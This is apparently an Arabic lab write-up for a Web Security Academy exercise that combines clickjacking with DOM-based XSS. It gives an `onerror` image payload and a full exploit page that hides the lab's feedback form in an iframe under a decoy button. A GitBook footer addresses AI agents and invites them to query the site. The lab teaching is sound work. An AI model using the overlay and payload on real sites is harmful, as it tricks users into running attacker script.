> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-to-trigger-dom-xss.md).

# تجسير النقر لتفعيل DOM XSS

### استغلال ثغرة Clickjacking لتحفيز XSS المستندة إلى DOM

#### الهدف

إجبار المستخدم على النقر على زر ("Click Me") المضمَّن داخل إطار iframe لتشغيل `print()` الدالة عبر ثغرة XSS تُحفَّز بالنقر.

<figure><img src="/files/3cb6170ca21169f3d636fe0a188e7326482e8513" alt=""><figcaption></figcaption></figure>

#### السياق / الملاحظات

* الـ **نموذج الملاحظات** يحتوي على `معلمة` الاسم عرضة لثغرة XSS من نوع DOM (يعمل حمولة JavaScript عند فشل تحميل الصورة وتستدعي الدالة المطلوبة).
* مثال على الحمولة المكتشفة: `&name=<img src=0 onerror=print()>`.

```html
<img src=0 onerror=alert(0)>
```

<figure><img src="/files/6d4f3c8566ff3cf5f74d793463cd09494ad50313" alt=""><figcaption></figcaption></figure>

* معلمات أخرى مفيدة لملء النموذج مسبقًا داخل الإطار: `البريد الإلكتروني`, `الموضوع`, `الرسالة`.

#### الحمولة المستخدمة

لتحفيز `print()` عبر الثغرة في `معلمة`:

```html
<img src=0 onerror=print()>
```

<figure><img src="/files/d3a4bddbdc096b4aa3c2c867a9592cdc75e10be5" alt=""><figcaption></figcaption></figure>

* أدرج `<iframe>` يشير إلى `/feedback` الصفحة الضعيفة مع معلمات مُعبَّأة مسبقًا (`معلمة`, `البريد الإلكتروني`, `الموضوع`, `الرسالة`) التي تحتوي على حمولة XSS.

```
?name=jordan&email=hello@jord4n.pro&subject=hacked&message=hack
```

<figure><img src="/files/16e79e1b43acfe7ab863b31c36482b6e05865619" alt=""><figcaption></figcaption></figure>

1. اجعل الإطار شبه غير مرئي (شفافية منخفضة جدًا) وضع فوقه طُعمًا بحيث تصل نقرة الضحية إلى زر "Click Me" داخل الإطار.
2. عندما ينقر الضحية على الطُعم، تُنقل النقرة إلى الإطار وتُفعَّل ثغرة XSS المستندة إلى DOM — هنا `print()` يتم استدعاؤها.

#### مثال على الشفرة لاستضافتها على خادم الاستغلال

```html
<style>
iframe{
width: 1000px;
height:900px;
}
div{
position: relative;
top: 830px;
left: 80px;
}
</style>
<div>Click</div>
<iframe src="https://0a6200db035e811c815e804300ac0083.web-security-academy.net/feedback?name=%3Cimg%20src=0%20onerror=print()%3E&email=hello@jord4n.pro&subject=hacked&message=hack"</iframe>
```

<figure><img src="/files/eb957f7c46124e4ee01e0cbeeb93a3e3e2230675" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d861e1d53e386d29c45efacd0d5ff7fdcc3d1a3e" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-to-trigger-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
